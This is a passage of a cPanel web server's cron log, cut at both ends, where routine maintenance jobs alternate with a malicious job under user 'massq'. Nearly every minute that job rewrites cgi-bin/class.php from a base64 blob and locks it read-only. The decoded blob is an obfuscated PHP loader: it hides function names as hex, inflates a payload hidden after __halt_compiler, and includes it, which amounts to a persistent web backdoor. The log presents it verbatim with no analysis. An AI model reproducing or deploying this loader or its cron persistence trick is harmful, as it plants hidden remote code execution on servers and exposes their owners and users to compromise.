BKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:24:01 server CROND[13453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:25:01 server CROND[13840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:25:01 server CROND[13842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:25:01 server CROND[13843]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 04:25:01 server CROND[13845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:25:01 server CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:25:01 server CROND[13847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:25:01 server CROND[13846]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:25:01 server CROND[13844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:26:01 server CROND[14689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:26:01 server CROND[14688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:26:01 server CROND[14690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:27:01 server CROND[15069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:27:01 server CROND[15070]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:27:01 server CROND[15068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:27:01 server CROND[15071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:28:01 server CROND[15446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:28:01 server CROND[15447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:28:01 server CROND[15448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:29:01 server CROND[15936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:29:01 server CROND[15937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:29:01 server CROND[15938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:30:01 server CROND[16386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:30:01 server CROND[16387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:30:01 server CROND[16391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:30:01 server CROND[16407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:30:01 server CROND[16410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:30:01 server CROND[16412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:30:01 server CROND[16406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:30:01 server CROND[16409]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 04:30:01 server CROND[16411]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:30:01 server CROND[16414]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  5 04:31:01 server CROND[17239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:31:01 server CROND[17240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:31:01 server CROND[17241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:32:01 server CROND[17691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:32:01 server CROND[17692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:32:01 server CROND[17693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:33:01 server CROND[18087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:33:01 server CROND[18088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:33:01 server CROND[18089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:34:01 server CROND[18567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:34:01 server CROND[18568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:34:01 server CROND[18569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:35:01 server CROND[18967]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:35:01 server CROND[18969]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:35:01 server CROND[18985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:35:01 server CROND[18973]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 04:35:01 server CROND[18986]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:35:01 server CROND[18988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:35:01 server CROND[18987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:35:01 server CROND[18984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:35:01 server CROND[18990]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:36:01 server CROND[19808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:36:01 server CROND[19809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:36:01 server CROND[19810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 